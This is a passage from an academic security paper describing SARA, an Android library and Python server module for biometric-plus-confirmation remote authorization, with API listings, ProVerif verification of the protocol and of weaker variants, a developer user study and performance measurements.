versions, SARA does not use this protocol. SARA’s protocol
allows more Android devices to perform secure authorization
as its minimum requirement is Android 9. As shown ahead in
Section 7, even with the Android 11 approach, it is not trivial
for developers to implement it. Furthermore, without knowing
about the issues we highlight in this paper, developers are un-
likely to try and avoid these issues by using methods such as
setUserAuthenticationParameters.

5 Implementation
In this section, we present the library we developed, which
implements the remote authorization protocol as described in
Section 4.3. The library is divided into two parts: An Android
library package and a server module. First, we demonstrate

how developers can use the library within their own apps. Then,
we discuss the internal workings of our library and how our
implementation follows the protocol outlined in Section 4.3.

5.1 SARA’s API Usage
SARA’s API uses the existing Android APIs to implement the
authorization protocol discussed in Section 4.3. To use SARA
to implement the authorization protocol, changes need to be
made on both the server and the Android app. Listing 1 shows
an example of how the SARA’s API can be used by developers
within the remote servers for their Android apps. Listing 2
shows an example of how the SARA’s API can be used by
developers within their Android apps. To use SARA’s API on
the server side, the developer must do the following:

Initialize AttestationServer: To start off, the developer
initializes an instance of AttestationServer.

Setup Protocol: To set up the protocol for a certain user,
the developer must call the method getInitialRegistra-
tionParameters on AttestationServer. As an argument,
this method requires a unique identifier for the user the protocol
is being set up for. The method returns registration parameters
that must be sent to the client Android app. The developer then
must call the method parseCertificateChains on Attes-
tationServer. This method requires the unique user identifier
as well as the certificate chain received from the client Android
app as arguments. The method returns true if the protocol
has been set up successfully.

Authorize Action: To authorize an action for a certain user,
the developer must call the method getInitialAuthParame-
ters on AttestationServer. As an argument, this method
requires a unique identifier for the user. The method returns
authorization parameters that have to be sent to the client An-
droid app. The developer then has to call the method veri-
fyAuthSignature on AttestationServer. As arguments,
this method requires the unique identifier for the user as well
as the signed prompt received from the client Android app. The
method returns true if the action is authorized successfully.
The developer has to inform the client Android app of this
success.

To use SARA’s API on the Android app, a developer needs
to perform the following steps:

Initialize AttestationController: To start off, the devel-
oper initializes an instance of AttestationController.

Setup Protocol: To setup the use of the protocol, the devel-
oper must call the method registerBioConfirm on Attes-
tationController. As an argument, this method requires a
reference to the current Android context and the registration
parameters received from the server. The method returns the
certificate chains that have to be sent to the server.

Authorize Action: To authorize an action, the developer
must call the method callBioConfirm on Attestation-
Controller. As an argument, this method requires a reference
to the current Android context and the authorization parameters
received from the server. The method returns the signed prompt
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def ServerCode()
{

#Access library class
myAS = AttestationServer()

#Setup authorization protocol for user X (only once)
regParams = myAS.getInitialRegistrationParameters(X_UniqueID)
#Send regParams to Android client app
#Receive certChains from Android client app
myAS.parseCertificateChains(X_UniqueID,certChains)
#Returns true if authorization protocol has been setup

#Authorize action Y for user X
authParams = myAS.getInitialAuthParameters(X_UniqueID, Y)
#Send authParams to Android client app
#Receive signedPrompt from Android client app
myAS.verifyAuthSignature(X_UniqueID, signedPrompt)
#Returns true if authorization is successful

}

Listing 1: Server code snippet to use SARA

public void AndroidCode()
{

//Access library class
myAC = new AttestationController();

//Setup authorization protocol (only once)
//Receive regParams from server
String certChains = myAC.registerBioConfirm(mContext,regParams);
//Send certChains to server

//Authorize action
//Receive authParams from server
String signedPrompt = myAC.callBioConfirm(mContext,authParams);
//Send signedPrompt to server

}

Listing 2: Android code snippet to use SARA

that has to be sent to the server. The developer has to have the
app wait for a confirmation message from the server to indicate
the action has been authorized successfully.

5.2 Android Library Implementation
We implemented the client part of our protocol in an open-
source Android library that developers can easily plug in into
their Android projects. We implement the protocol using APIs
that are offered by modern Android versions (Android 9.0+).

Keypair Generation: To create the keypairs in accor-
dance with Step 1 of our protocol, we use KeyGenPa-
rameterSpec.Builder with the purpose argument set as
Sign+Verify. We refer to the keypair to be used with Bio-
metricPrompt API as the biometric keypair and the keypair
to be used with Android Protected Confirmation as the con-
firmation keypair. We use the methods of KeyGenParame-
terSpec.Builder to set the properties for our keypairs. The
properties we use for both the keypairs are listed in Table 2.

Attestation challenges are received from the server, which
ensures that the keypair was created in response to the server’s
request. Furthermore, the biometric keypair has the validity
duration for authentication set to −1 to ensure it can only be
used with BiometricPrompt API. If someone registers their

Table 2: Key properties for the Biometric Keypair and the
Confirmation Keypair

Keypair Property Biometric KP Confirmation KP

AttestationChallenge From Server From Server

Digests SHA256 SHA256

SignaturePaddings RSA-PSS RSA-PSS

UserAuthenticationRequired ✓ ✓

InvalidatedByBiometricEnrollment ✓ ✗

UserConfirmationRequired ✗ ✓

UserAuthenticationValidityDuration -1s 120s

StrongBoxBacked ✓ ✓

biometrics after a key has already been created for biometric
use, the existing key gets invalidated. We set the confirmation
keypair to require user confirmation to ensure it is only usable
with Android Protected Confirmation. Once the properties are
set, we use KeyPairGenerator with RSA to build the keypair.

Certificate Chain Extraction: Step 2 of our protocol
requires that the certificate chains of our keypairs be sent to the
server. To extract these certificate chains, we use KeyStore
object’s method getCertificateChain. This returns a chain
of X.509 certificates. We then encode the certificate chain into
a single string that can be sent to the server.

Biometric Prompt Display: For Step 3 of our proto-
col, we first display a biometric prompt. We ensure that
biometrics have to be used for this prompt and the user
cannot revert to using device credentials such as a pin or
password to authenticate to the prompt. We use a Signa-
ture object with SHA256withRSA\PSS. We then call the
Prompt.authenticate method to display the prompt and
pass our Signature object as an argument. This allows us to
sign using that object later.

Biometric Signing: For the next part of Step 3 of our pro-
tocol, we sign the biometric prompt using our biometric keypair.
We override the onAuthenticationSucceeded method. The
method has a result as an argument which contains our Signa-
ture object. We use the update method to add our prompt
and nonce to the Signature object, and then we use the sign
method to complete the signing.

Confirmation Prompt Display: Continuing with Step 3
of our protocol, we display a confirmation prompt to the
user. Within the overridden onAuthenticationSucceeded
method, we use the result of our signing, concatenated with
the prompt and nonce, as extraData in Confirmation-
Prompt.Builder. We then use the method presentPrompt
to display the prompt.

Confirmation Signing: Lastly, for Step 3 of our proto-
col, we sign using the confirmation keypair. We override the
onConfirmed method for the confirmationCallback. This
method has as an argument dataThatWasConfirmed. The ar-
gument dataThatWasConfirmed contains both the prompt as
well as the extraData. We use a Signature object with
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SHA256withRSA\PSS. We use the update method to add
dataThatWasConfirmed to the Signature object, and then
we use the sign method to complete the signing and send the
result to the server.

5.3 Server Module Implementation
We implement our server module using Python 3. The server
module can be imported and used within any existing Python
server. The implementation is based on the Android guide-
lines [16] for the remote server.

Attestation Challenge Creation: For Step 1 of our proto-
col, our server module creates an attestation challenge for each
keypair. These attestation challenges are then sent to the client
Android app to be used for keypair creation.

Certificate Chain Verification: We begin Step 2 of our
protocol by verifying the certificate chains received from the
client Android app. First, we verify that the root certificates of
the certificate chains are one of the Google certificates [16]. If
the root certificates are not one of the Google certificates, then
the keypairs are not stored within the TEE and the verification
fails. Second, we verify that none of the certificates in the
chains are part of Google’s certificate revocation list [2] as
they pose a security threat; hence, the verification fails. Finally,
we verify the certificate chains themselves. We verify that
the root certificate is self-signed, and we verify the following
certificates using the preceding certificate in the chain. We use
the OpenSSL module to verify the certificate chains.

Attestation Data Verification: Continuing with Step 2
of our protocol, our server module checks the attestation data
embedded within the certificate chain. We implement our own
ASN.1 parser to extract the attestation data from the certificate
chain. We then verify that the attestation data contains the
expected properties of the keypairs. The server module also
checks the attestation data to verify the state of the device by
checking if the VerifiedBootState value is set to Verified.

Prompt Preparation: For Step 3 of our protocol, our
server module creates the prompt that is shown to the user.
Furthermore, a nonce is also created using the Random module
to be sent alongside the prompt to the client Android app.
The timeout is started at this point by storing the current time.
The duration of this timeout has to allow ample time for user
interaction as well as client-side processing. Furthermore, the
duration of the timeout must not exceed the duration of the
time gap between the legitimate user access and the adversary
access, as discussed in the threat model. Since screen timeout
duration reflects the time a user is inactive before the device
sleeps and locks, we use Android’s screen timeout durations
as a reference point. The median option for screen timeout in
the latest Android versions is 2 minutes. Therefore, we set the
duration of this timeout to be 2 minutes.

Signature Verification: For Step 4 of our protocol, our
server module verifies the signatures received from the client
Android app. We first check the time to see if we have received
the signatures within the timeout limit. The server module
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Figure 4: ProVerif Model with the channels that are used by
the processes

receives dataThatWasConfirmed and the confirmation sig-
nature. First, we verify that dataThatWasConfirmed has been
signed by the confirmation keypair, using the corresponding cer-
tificate chain and signature. Then, we extract the extraData
from dataThatWasConfirmed and verify that it includes the
prompt, nonce as well as the biometric signature. Finally, we
verify that the prompt and nonce have been signed by the
biometric keypair, using the corresponding certificate chain
and signature. Upon successful verification, our server module
guarantees that the user authorized the action.

6 Verification using ProVerif
We evaluated the security aspect of SARA’s authorization pro-
tocol through an automated cryptographic protocol verifier
called ProVerif [27]. In addition, we used ProVerif to verify our
hypotheses regarding the weaknesses of the BiometricPrompt
API and the Android Protected Confirmation APIs being used
in vulnerable protocols. The entire ProVerif code is available
in our public repository [21].

ProVerif uses “processes” to represent the different actors in
a protocol. For instance, a server and a client will be modeled
as two separate processes. These processes communicate with
each other using “channels”. Channels can be open (accessi-
ble by an attacker) or closed. A channel can be two-way or
one-way. To verify security properties, ProVerif uses “queries”
and “events”. Queries are used to assess if an attacker can ac-
cess certain information. Events are triggered when a process
reaches a certain stage. Queries are also used to verify how
events are triggered with respect to other events. ProVerif uses
the Dolev-Yao model [30] to simulate the abilities of the adver-
sary. That means the attacker can read, intercept, and write its
own messages over channels.

6.1 Model Design
Figure 4 illustrates our ProVerif model for remote authoriza-
tion. Our model uses 4 processes: Server, Client, User,
and Accomplice. The Server and Client processes fol-
low our authorization protocol by simulating a remote server
and a client Android app. Even though there is no process
representing the TEE itself, the Client process is designed
in a manner where the attacker is only able to access data and
channels that are not secured by the TEE. This means that the
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Table 3: ProVerif queries and corresponding security goals and implications when using SARA for authorization

# ProVerif Query Security Goal Security Goal
Achieved

Security implication when
not achieved

1
query f:bitstring; inj-event(serveraccepts(f)) ==>
( inj-event(userSeesPrompt(f)) )

The legitimate user sees the action
the server performs (SG3)

Yes
Attacker can authorize an action
the legitimate user is unaware of.

2
query f:bitstring; inj-event(serveraccepts(f)) ==>
( inj-event(userAuthenticated(f)) && inj-event(userConfirmsPrompt(f)) )

The legitimate user physically authorizes
the action the server performs (SG4)

Yes
Attacker can authorize an action
the legitimate user did not approve.

3
query a:biosskey,b:confsskey,e:biospkey,d:confspkey;
inj-event(serverconfirms(e,d)) ==>
(inj-event(biosigned(a)) && inj-event(confsigned(b)) )

Server has a guarantee that the action has
been authorized by the legitimate user (SG5)

Yes
The server performs an action that was
not authorized by the legitimate user.

Client process is separated into a secure world (representing
the TEE) and a non-secure world. Therefore, we did not need
to create a separate process representing the TEE. Both the
Server and the Client processes are running at all times
in the model. The User process is modeled to behave like a
legitimate user. The Accomplice process represents a physi-
cal adversary that provides the physical confirmation input in
response to all prompts. The User/Accomplice interactions
are mutually exclusive. We assume that if the user is present,
then a physical attacker cannot be present at the same time and
vice versa. Hence, our model does not allow the User and
Accomplice processes to run simultaneously.

The Server-Client channel represents the network be-
tween the client app and the remote server. The User-Client
channel represents the touch screen. This serves as the primary
channel for user interaction with the app. Both these channels
are modeled as two-way open channels.

The Biometric Output channel represents the prompt
that is displayed at the time of biometric authentication. This
is not controlled by the TEE and the attacker has complete
access to this channel. The Confirmation Output channel
represents the prompt that is displayed on the secure UI. This
is under the control of the TEE. However, since the prompt is
provided by the app, it can be manipulated by a root attacker.
Hence, these channels are modeled as one-way open channels.

The Biometric Input channel represents the biometric
scanner. This is a physical input directly to the TEE and even
a root attacker cannot provide this input. The Accomplice
process does have access to this channel but cannot provide the
correct input. The Confirmation Input channel represents
the hardware confirmation button. This is also a physical input
that goes directly to the TEE and hence it is inaccessible to
a root attacker. The Accomplice process has access to this
channel and can provide the correct input to this channel as
anyone can press the button. We model these channels as one-
way closed channels. Even though the attacker cannot provide
inputs on these channels, a root attacker can perceive that inputs
have been given. To model this aspect, the Client process
sends out the received inputs into an open channel, simulating
an attacker accessing them.

To model the timeouts, we use ProVerif’s “Phases”. Phases
in ProVerif allow us to separate information. Any data in one
phase cannot be used in another phase. This is similar to a
timeout in the sense that once the duration of the timeout ex-

pires, the corresponding data (i.e., a signature) is no longer
valid. In our model, each phase represents the duration of one
timeout. We use three phases in our model. In the first phase,
the Accomplice process is running. In the second phase, the
User process is running. Lastly, in the third phase, the Accom-
plice process is running again. The Accomplice process
runs before and after the User process to simulate that an
attacker can have physical access to the device before and after
the actual user makes use of the device.

6.2 Verifying SARA Security
We use the ProVerif model to verify the security properties of
our SARA’s authorization protocol, as shown in Table 3. The
model simulates the protocol setup by creating the keypairs,
sending the certificate chains, and performing the attestation.
Keys in ProVerif are inaccessible to the attacker and therefore,
mimic the behavior of keys inside a TEE (SG1). The model as-
sumes that the attestation data retrieved by the server from the
certificate chain is acceptable since, otherwise, the remote au-
thorization procedure cannot proceed (SG2). We use ProVerif
queries to assert the correspondence of certain events to verify
that our security goals are achieved.

The event userSeesPrompt is triggered after the confir-
mation prompt is received by the User process. The event
userAuthenticated is triggered after valid biometric input is
given by the User process. The event userConfirmsPrompt
is triggered after confirmation input is given by the User
process. The event serverConfirms is triggered after the
Server process verifies the signatures. The event server-
Accepts is triggered when the Server process accepts the
authorization for an action.

Query 1: If the event serverAccepts is triggered for a
certain authorization request then that can only happen if and
only if the event userSeesPrompt was triggered for the same
authorization request. This verifies that the legitimate user is
aware of the action that is authorized (SG3).

Query 2: If the event serverAccepts is triggered for a
certain authorization request then that can only happen if and
only if the event userAuthenticated, and the event user-
ConfirmsPrompt were triggered for the same authorization
request. This verifies that the legitimate user authorized the
action using a physical input (SG4).
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Query 3: If the event serverConfirms is triggered for a
certain confirmation public key and biometric public key then
that can only happen if and only if the event confsigned was
triggered with the corresponding confirmation private key and
the event biosigned was triggered with the corresponding
biometric private key. This verifies if the server has a guarantee
the legitimate user authorized the action (SG5).

The result from ProVerif shows that all our queries are true,
and no attack is possible.

6.3 Attacks on Incomplete Protocols
To further corroborate our design, we use our ProVerif model
to show possible attacks on the vulnerable protocols discussed
in Section 3.3

First, we removed TEE-enforced user confirmation from our
protocol and used ProVerif (as shown in Appendix, Table 8)
to prove that an attack is possible when the Solitary Biomet-
ric protocol is used. Second, we removed TEE-enforced user
confirmation from our protocol and used ProVerif (as shown in
Appendix, Table 9) to prove an attack is possible when the Soli-
tary Confirmation protocol is used. Next, we disjoined the two
signing operations and performed them separately. We used
ProVerif (as shown in Appendix, Table 10), to prove an attack
is possible when the Naive Combined protocol is used. Lastly,
we conjoined the two signings to signify a single key being
used. We used ProVerif (as shown in Appendix, Table 11), to
prove an attack is possible when the Rectified Combined proto-
col is used. In all the four cases, ProVerif was able to generate
a counterexample, showing a possible attack that might occur
if the tested variation of the protocol was used.

7 Usability and Practicality
In this section, we describe the evaluation of SARA’s practical-
ity, gauged by a user study involving Android developers. The
goal of the user study was to answer the following research
questions:

RQ1: Does using SARA make it easier for developers to use
Android’s TEE-enforced APIs?

RQ2: How long does it take for a developer to learn how to
use SARA?

The results, as described below, show that the use of our
library significantly reduced the time and effort consumed for
implementing a secure payment application as compared to
implementing it with the TEE-enforced APIs directly.

7.1 Participants Recruitment
We conducted a qualitative comparative user study to evaluate
the practicality of our library compared to using existing TEE-
enforced APIs. For this purpose, we obtained approval from
our university’s IRB and recruited participants by advertising
on internal university/department groups and mailing lists. We
designed a questionnaire consisting of 10 Android develop-
ment related questions (see Appendix, Table 6) to gauge the

expertise level of the participants. We assigned three differ-
ent expertise levels to the participants based on the number
of questions they correctly answered (3-5 as beginner, 6-7 as
intermediate, and 8-10 as expert). Prospective participants with
a score less than 3 were excluded as we deemed them not to
be Android developers). In total, we recruited 14 participants,
which included 5 beginners, 4 intermediates, and 5 experts.
While having a knowledge requirement for participation af-
fected the number of participants recruited, we believe these
conditions were necessary to obtain meaningful conclusions
from the user study. Every participant was compensated for the
completion of the study.

7.2 Experiment Design
Each participant was given access to a skeleton Android pay-
ment application. The participants were asked to integrate An-
droid Protected Confirmation with key attestation and biomet-
ric authentication into the skeleton application by performing
two tasks i.e., Task-A: using the native Android APIs and
Task-B: using the SARA library. Furthermore, we also asked
them to implement related server-side functionality in a sample
server-side code provided alongside the application.

We asked each participant to perform both tasks and the time
limit to complete each task was set to 105 minutes. Given the
complexity of implementing the desired functionality with the
native APIs, we divided the implementation of each task into
three subtasks to evaluate participants’ progress in each task.

In Subtask-1, we asked the participants to create a key-
pair(s) needed to integrate Android Protected Confirmation in
the application along with biometric authentication. Subtask-
2 asked the participants to display a confirmation and biomet-
ric prompt corresponding to the payment request made by a
user. Subtask-3 required them to verify the keypair(s) on the
server side and ensure that the attestation data showed that the
keypair was generated by secure hardware and had the requisite
properties.

For each subtask, the code sections that needed to be imple-
mented were clearly marked in the skeleton code. In order to
ensure that the participants spent ample time attempting the
server side subtask (Subtask-3), we asked the participants to
spend the last 35 minutes of the allotted time for each task
on Subtask-3, in case they could not complete the first two
subtasks. This was necessary to evaluate how developers deal
with server side code when implementing such protocols. We
allowed the developers to use either Java or Python when at-
tempting Subtask-3.

During the experiment, the participants could consult any on-
line resources. Additionally, we provided links to the Android
documentation and asked the participants to consult the official
Android training articles on key attestation and user confirma-
tion to complete the tasks. To effectively compare the learning
times for the two tasks, we also provided the documentation
for our library for completing Task-B.

1572    31st USENIX Security Symposium USENIX Association



Table 4: Summary of the subtask completion results

Completed after 90 minutes Task-A Task-B

Subtask-1:
Successfully created the keypair(s) with the
required properties

0/14 14/14

Subtask-2:
Successfully created the confirmation prompt and
the biometric prompt

0/14 14/14

Subtask-3:
Successfully attested the keypair(s) on the server 0/14 14/14

Since the two tasks required implementing the same func-
tionality, some of the knowledge and understanding about the
implementation gained in the first task could decrease the dif-
ficulty level of the second task. To remove such bias, we ran-
domly selected half of the participants to perform Task-A first
and the other to perform Task-B first.

At the end of the experiment, the participants were asked to
complete a survey with questions about their overall experience
with the two tasks. This survey collected information about the
developer’s preferences, ease of usage, learning overhead and
their personal feedback concerning the two tasks. The survey
also included the System Usability Score [28] questionnaire
for both tasks to evaluate SARA and the Native APIs usability.

7.3 Results
Usability (RQ1) We checked the implementation of the partic-
ipants to verify if they successfully completed a subtask. Upon
successful completion of a subtask, we also measured the time
it took for them to complete the subtask. Table 4 presents the
number of participants that completed the three subtasks within
the given time. There is a stark difference between the com-
pletion rates for the subtasks with the Native APIs and SARA.
All the participants were able to complete all three subtasks
using SARA within the allotted time frame. In contrast, within
the same time frame, none of the participants were able to
complete any subtask using the Native APIs.

We performed a Wilcoxon signed rank test [42] on the sub-
task completion time with the null hypothesis that the comple-
tion time for subtasks using the Native API and SARA are equal.
In cases where participants could not finish a subtask, we used
the total available time (i.e., 35 minutes) as the user’s comple-
tion time. We compared the task completion time for the Native
API and SARA, and we observed a p-value of 0.0005 < 0.05.
Thus, we reject our null hypothesis and conclude that the task
completion time with SARA is lower, demonstrating its practi-
cality.

Participants’ responses to the survey questions (summarized
in Table 5), show that 93% of the participants had a positive ex-
perience with using SARA, while 0% had a positive experience
with the Native APIs. All the participants agreed that it was
easier to implement the given task using SARA and expressed
a preference to use SARA over the Native API in their own

Table 5: Summary of the survey results of the user study
Evaluation of the Native APIs
Please rate your experience trying to implement Task-A

1 or 2 (Very Complicated) 13/14

3 1/14

4 or 5 (Very Straightforward) 0/14

Evaluation of SARA’s API
Please rate your experience trying to implement Task-B

1 or 2 (Very Complicated) 0/14

3 0/14

4 or 5 (Very Straightforward) 14/14

Evaluation of the Native API Documentation
Please rate the complexity of the documentation for Task-A

1 or 2 (Very Complicated) 12/14

3 0/14

4 or 5 (Very Straightforward) 2/14

Evaluation of SARA’s API Documentation
Please rate the complexity of the documentation for Task-B

1 or 2 (Very Complicated) 2/14

3 0/14

4 or 5 (Very Straightforward) 12/14

Learning Overhead
In your experience, what was the difference in time taken to learn the

usage of both APIs?

Native APIs took long/very long 14/14

Equal time 0/14

SARA’s API took long/very long 0/14

Ease of Implementation
In your experience, which of the two tasks you just performed was easier

to implement?

Task-A 0/14

Both were equally difficult 0/14

Task-B 14/14

Developer Preference
If you were to implement this task within your own application, which

method would you prefer to use.

Use SARA’s API 14/14

Use the Native APIs 0/14

applications. Based on the participants’ responses (as shown in
the Appendix, Table 7), the System Usability Score (SUS) [28]
for the Native API was only 11.61 as compared to SARA’s
score of 95.18. Generally, a system with a SUS score above 68
is considered above average [12]. Therefore, we can conclude
that SARA is highly usable.

Learning overhead (RQ2) Participants could access online
resources, including Android documentation, while implement-
ing the task with the Native APIs (Task-A). However, in the
case of SARA (Task-B), the participants could only use the pro-
vided SARA’s documentation as a reference. Despite this, all
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participants found that the time taken to learn the usage of the
Native APIs as compared to SARA was much longer. Further-
more, only 14% of the participants felt that the documentation
for SARA was complicated, whereas 86% of the participants
felt that the Native API documentation was complex.

8 Performance Evaluation
In this section, we evaluate the performance of the implemen-
tation of our authorization protocol within the Android library.
The evaluation is conducted on a Pixel 3a with Android 11. We
divide the protocol into two parts: the initial registration phase
and the per-authorization phase.

The initial registration phase consists of keypair generation
and certificate chain extraction. The overhead of these pro-
cesses (averaged over 100 trials) is 12.29 seconds with a stan-
dard deviation of 3.82 seconds. The vast majority of this time
is spent on the creation of the keypairs themselves as we store
the keypairs within the StrongBox [14]. Specifically, more than
99% of this time was spent calling just one method: KeyPair-
Generator.generateKeyPair. This method takes only 1.05
seconds per keypair generation if StrongBox is not used. We
speculate that the StrongBox internally requires a significant
amount of processing time to create the keypairs and that, in
addition, there could be a communication delay between the
main chip and the StrongBox chip. The usage of StrongBox to
store the keys is, however, unavoidable as Android Protected
Confirmation requires using a keypair stored within the Strong-
Box. We note that this is a one-time process that takes place
in the background when the authorization protocol is enabled.
Therefore, this overhead will not have a major effect on the
user’s experience of an app using SARA.

The per-authorization phase consists of the creation and dis-
play of the prompts, user’s biometric and confirmation input,
and the two signings. The user input times vary between users;
therefore, we focus on the prompts and the signing for measur-
ing time overhead. The overhead of these processes (averaged
over 10 trials) is 1.76 seconds with a standard deviation of
30 milliseconds. This time is negligible compared to the time
needed for a user to interact with the prompts.

9 Limitations and Discussion
This paper focuses on implementing root-resilient end-to-end
remote authorization in Android devices using TEE-enforced
APIs. However, other popular mobile ecosystems like Apple
have their own versions of these APIs. Contrasting the usage
of these APIs across platforms, and developing a solution that
is compatible with non-Android devices is the principal focus
of our future work.

Our solution relies on presenting two prompts for the user
to confirm in order to authorize an action. However, this solu-
tion only works if the user can be trusted to correctly identify
that both prompts are equivalent. If the user only verifies the
biometric prompt and does not verify the confirmation prompt

before providing the confirmation input, then a root attacker
can take advantage of this oversight to authorize an arbitrary
action. We plan to conduct a user study to determine the effect
of this human-induced vulnerability.

SARA includes a server module to allow developers to im-
plement the protocol easily. However, this module is currently
only for Python. We plan to create server modules for other
popular languages such as Java.

The new authorization protocol gives us the opportunity to
use regular mobile devices as a form of biometric 2-Factor Au-
thentication. We plan to compare our protocol to other various
modes of 2-Factor Authentication to gauge the efficacy of their
security as well as their ease of use.

10 Related Work

The issue of remote authorization has been tackled by both
industry and academia. However, these works usually use the
TEE to secure only the individual channels that are required
for authorization (Figure 1).

TEE-enforced User Interactions. Several existing academic
works aim to secure the user interactions by utilizing a TEE.
TrustUI [34] performs color and keyboard randomization by
leveraging TrustZone to provide a trusted UI on an untrusted
device. DroidVault [35] ensures secure input and display by
providing APIs for keyboard and display that utilize ARM
TrustZone. Light-SPD [43] emulates an SPD (Secure Per-
sonal Device) by utilizing TrustZone on boards with ARM.
TrustOTP [40] provides users with an OTP (One-Time Pass-
word) secured by TrustZone using GUI that is also secured by
TrustZone. Using TrustZone ensures that the user is provided
with a secure OTP even on a malicious OS. TrustPAY [45]
utilizes TrustZone to provide the user with a secure GUI, key-
board, and mouse for making payments on an untrusted OS.
VeriUI [36] provides users with secure login interfaces by gen-
erating them using a WebKit engine from within the TrustZone.
Akowuah et al. [24] present an SQLite Database secured by
TrustZone. Their framework enables users to securely edit an
SQLite Database on an untrusted device by leveraging TEE
for data encryption and showing keyboard. TruWalletM [29]
provides a password manager backed by TrustZone. TruWal-
letM also provides a User Interface secured by the TEE. VBut-
ton [33] leverages TrustZone to provide the user with secure
UI and secure input, and it allows the server to attest to the
authenticity of the user action. BitE (Bump in the Ether) [37]
proxies user input through a mobile device using encrypted
tunnels. Oprea et al. [38] proposed using PDAs as a form of
secure input to untrusted terminals.

Samsung Knox [11] provides hardware-backed storage for
data by leveraging TrustZone on Android devices. It also han-
dles Biometric authentication, which can be used to enforce
2-Factor Authentication. However, Samsung Knox is only avail-
able for certain Samsung devices [7].
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TEE-enforced Server Communication DroidVault [35] pro-
vides a mechanism for storing and processing sensitive data
from a remote server on an untrusted Android device. Droid-
Vault leverages TrustZone to prevent end-user from directly
accessing sensitive data. TrustPAY’s [45] framework allows
users to make privacy-preserving transactions with a remote
service. TruzCall [23] utilizes TEE to provide secure VoIP on a
compromised device. TruWalletM [29] splits the SSL channel
with the server into a secure and a non-secure channel. The
secure channel is backed by TEE and used for communicat-
ing only sensitive information like authentication tokens and
passwords.

11 Conclusions
This work presents the first practical implementation of TEE-
enforced root-resilient remote authorization in Android devices.
We extensively evaluated our work with both a user study and a
formal cryptographic model. Our results showed that not only
is SARA more secure as compared to the existing native API,
but it is also easier to use. Hence, we believe that SARA should
be used for all forms of authorization in Android devices and
hope that Android will integrate the SARA’s protocol as part
of its official API.
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Appendix

Table 6 shows the pre-screening questionnaire that the prospective participants had to fill out to sign up for the study. Table 7 shows
the participant responses to the SUS questions in the survey regarding both APIs. Table 8 shows the ProVerif queries for the model
which simulates the Solitary Biometric protocol. Table 9, Table 10, and Table 11 show, respectively, the ProVerif queries for the
models simulating the Solitary Confirmation protocol, the Naive Combined protocol, and the Rectified Combined protocol.

Table 6: Pre-screening questionnaire for the user study
What of the following methods are not used with the AsyncTask class in Android?

OnPreExecution() OnPostExecution() DoInForeground() OnProgressUpdate()

Which of the following methods are used to get a response from an activity in Android?

startActivityToResult() startActivityForResult() Bundle() None of the above

What is the difference between services and thread in Android?

Services performs functionalities in the background.

By default services run on main thread only

Thread and services have the same

functionalities
Thread works on services None of the above

Which of the following methods can be used as broadcast receivers in Android?

sendIntent() onRecieve() implicitBroadcast()

sendBroadcast(),

sendOrderBroadcast(),

and sendStickyBroadcast()

What is a fragment in android?

JSON Piece of Activity Layout None of the above

Which component is not activated by an Intent?

Activity Services contentProvider broadcastReceiver

Which of the following is the first callback method that is invoked by the system during an activity life-cycle?

onClick() method onCreate() method onStart() method onRestart() method

What is the use of content provider in Android?

For storing the data in the database For sharing the data between applications
For sending the data from an

application to another application
None of the above

Which of the following android component displays the part of an activity on screen?

View Manifest Intent Fragment

The layout or design of an Android application is saved in a:

.text file .xml file .dex file .java file

Table 7: Summary of participant answers to the SUS questions for both APIs
SUS Questions Native API SARA API

1: Strongly Disagree, 5: Strongly Agree 1 2 3 4 5 1 2 3 4 5
Assuming you wanted to integrate these security features into your own app, would you like
to use this API frequently

9 4 1 0 0 0 0 0 2 12

I found this API unnecessarily complex. 1 0 0 6 7 13 1 0 0 0
I thought this API was easy to use. 12 2 0 0 0 0 0 0 1 13
I think that I would need the support of a technical person to be able to use this API. 1 0 0 2 9 11 2 1 0 0
I found that various functions in this API were well integrated and were easy to use together 9 3 0 2 0 0 0 0 0 14
I thought there was too much inconsistency in this API’s functions
which made it harder to use them together.

0 1 3 3 7 12 2 0 0 0

I would imagine that most people would
learn to use this API very quickly.

11 2 1 0 0 0 0 0 1 13

I found this API very cumbersome to use. 0 0 1 3 10 11 2 0 0 1
I felt very confident using this API. 11 2 0 0 1 0 0 2 1 11
I needed to learn a lot of things before I could get going with this API. 0 0 0 1 13 8 5 1 0 0
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Table 8: ProVerif queries and corresponding security goals and implications for the Solitary Biometric Protocol
# ProVerif Query Security Goal Security Goal Achieved Security implication when

not achieved

1
query f:bitstring;
inj-event(serveraccepts(f))
==>( inj-event(userSeesPrompt(f)) ).

The legitimate user sees the action
the server performs (SG3) No

Attacker can authorize an action
the legitimate user is unaware of.

2
query f:bitstring;
inj-event(serveraccepts(f))
==>( inj-event(userAuthenticated(f)) ).

The legitimate user physically
authorizes the action
the server performs (SG4)

No
Attacker can authorize an action
the legitimate user did not approve.

3

query a:biosskey,b:confsskey,e:biospkey,d:confspkey;
inj-event(serverconfirms(e,d))
==>(inj-event(biosigned(a))
&& inj-event(confsigned(b)) ).

Server has a guarantee that
the action has been authorized
by the legitimate user (SG5)

No
The server performs an action
that was not authorized by
the legitimate user.

Table 9: ProVerif queries and corresponding security goals and implications for the Solitary Confirmation Protocol
# ProVerif Query Security Goal Security Goal Achieved Security implication when

not achieved

1
query f:bitstring;
inj-event(serveraccepts(f))
==>( inj-event(userSeesPrompt(f)) ).

The legitimate user sees the action
the server performs (SG3) No

Attacker can authorize an action
the legitimate user is unaware of.

2
query f:bitstring;
inj-event(serveraccepts(f))
==>( inj-event(userConfirmsPrompt(f)) ).

The legitimate user physically
authorizes the action
the server performs (SG4)

No
Attacker can authorize an action
the legitimate user did not approve.

3

query a:biosskey,b:confsskey,e:biospkey,d:confspkey;
inj-event(serverconfirms(e,d))
==>(inj-event(biosigned(a))
&& inj-event(confsigned(b)) ).

Server has a guarantee that
the action has been authorized
by the legitimate user (SG5)

No
The server performs an action
that was not authorized by
the legitimate user.

Table 10: ProVerif queries and corresponding security goals and implications for the Naive Combined Protocol
# ProVerif Query Security Goal Security Goal Achieved Security implication when

not achieved

1
query f:bitstring;
inj-event(serveraccepts(f))
==>( inj-event(userSeesPrompt(f)) ).

The legitimate user sees the action
the server performs (SG3) No

Attacker can authorize an action
the legitimate user is unaware of.

2

query f:bitstring;
inj-event(serveraccepts(f))
==>( inj-event(userAuthenticated(f))
&& inj-event(userConfirmsPrompt(f)) ).

The legitimate user physically
authorizes the action
the server performs (SG4)

No
Attacker can authorize an action
the legitimate user did not approve.

3

query a:biosskey,b:confsskey,e:biospkey,d:confspkey;
inj-event(serverconfirms(e,d))
==>(inj-event(biosigned(a))
&& inj-event(confsigned(b)) ).

Server has a guarantee that
the action has been authorized
by the legitimate user (SG5)

No
The server performs an action
that was not authorized by
